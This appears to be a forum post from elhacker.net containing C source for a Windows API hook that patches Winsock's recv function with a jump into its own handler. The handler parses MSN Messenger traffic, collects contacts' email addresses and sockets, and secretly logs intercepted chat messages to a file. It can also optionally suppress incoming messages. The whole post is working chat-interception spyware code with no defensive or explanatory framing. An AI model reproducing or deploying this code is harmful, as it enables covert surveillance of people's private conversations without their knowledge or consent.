Foro de elhacker.net

void HookearRec(void);

int WINAPI recHook(SOCKET s,char *buf,int len,int flags);
int (__stdcall *pBuffrec)(SOCKET s,char *buf,int len,int flags);;


void HookearRec(void)
{
		DWORD ProteVieja;
		BYTE *DirApi;
		BYTE *DirYo;
		DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),"recv");

		if ((Buffer=(BYTE *)malloc(NumBytes+5))==NULL) return;
		if (VirtualProtect((void *) Buffer,NumBytes+5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;
		
		memcpy(Buffer,DirApi,NumBytes);

		Buffer+=NumBytes;
		*Buffer=0xE9;
		Buffer++;
		*((signed int *) Buffer)=DirApi-Buffer+(NumBytes-5)+1;
		
		
		pBuffrec = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-NumBytes-1);
		
		if (VirtualProtect((void *) DirApi,NumBytes,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

		DirYo=(BYTE *) recHook;
		*DirApi=0xE9;
		DirApi++;
		*((signed int *) DirApi)=DirYo-DirApi-4;

		FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

int WINAPI recHook(SOCKET s,char *buf,int len,int flags)
{
	int res;
	char Escric[1024];
	int payl;
	FILE *Xat;
	char cIRO[1024];
	char *Ini;
	char *Ini2;
	int trobat=0;



	res=pBuffrec(s,buf,len,flags);	

	
	if ((Ini=strstr(buf,"IRO "))!=NULL && strstr(buf,"@")!=NULL)
	{
		trobat=0;
		Ini=strchr(Ini,' ');
		Ini++;
		Ini=strchr(Ini,' ');
		Ini++;
		Ini=strchr(Ini,' ');
		Ini++;
		Ini=strchr(Ini,' ');
		Ini++;
		Ini2=strchr(Ini,' ');
		*Ini2=0;
		strcpy(cIRO,Ini);
		*Ini2=' ';

		for (int j=0;j<=cntscks;j++)
		{
			if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
		}
		if (trobat==0)
		{
			cntscks++;
			msnFuckit[cntscks].sckMSN=s;
			strcpy(msnFuckit[cntscks].correu,cIRO);
		}else msnFuckit[trobat].sckMSN=s;
	}

	if (buf!=NULL && strcmp(buf,"")!=0 && (Ini=strstr(buf,"MSG"))!=NULL && strstr(buf,"Content-Type: text/plain")!=NULL)
	{
		Ini=strchr(Ini,'@');
		Ini2=Ini;
		while (*Ini2!=' ') Ini2--;
		Ini2++;
		Ini=strchr(Ini2,' ');
		*Ini=0;
		strcpy(Escric,Ini2);
		*Ini=' ';

		Xat=fopen(xatFile,"a");
		fputs("\r\n",Xat);
		fputs(Escric,Xat);
		fputs(" dice:",Xat);

		Ini2=strchr(Ini,'\r');
		Ini=Ini2;
		while (*Ini!=' ')Ini--;
		Ini++;
		*Ini2=0;
		payl=atoi(Ini);
		*Ini2='\r';
		Ini2+=2;
		for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
		Escric[payl]=0;
		Ini2=strstr(Escric,"\r\n\r\n");
		Ini2+=4;

		fputs("\r\n",Xat);
		fputs(Ini2,Xat);
		fclose(Xat);

		if (blockrec) 
		{
			strcpy(buf,"\0");
			len=0;
		return 0;
		}
	}


	return (res);
}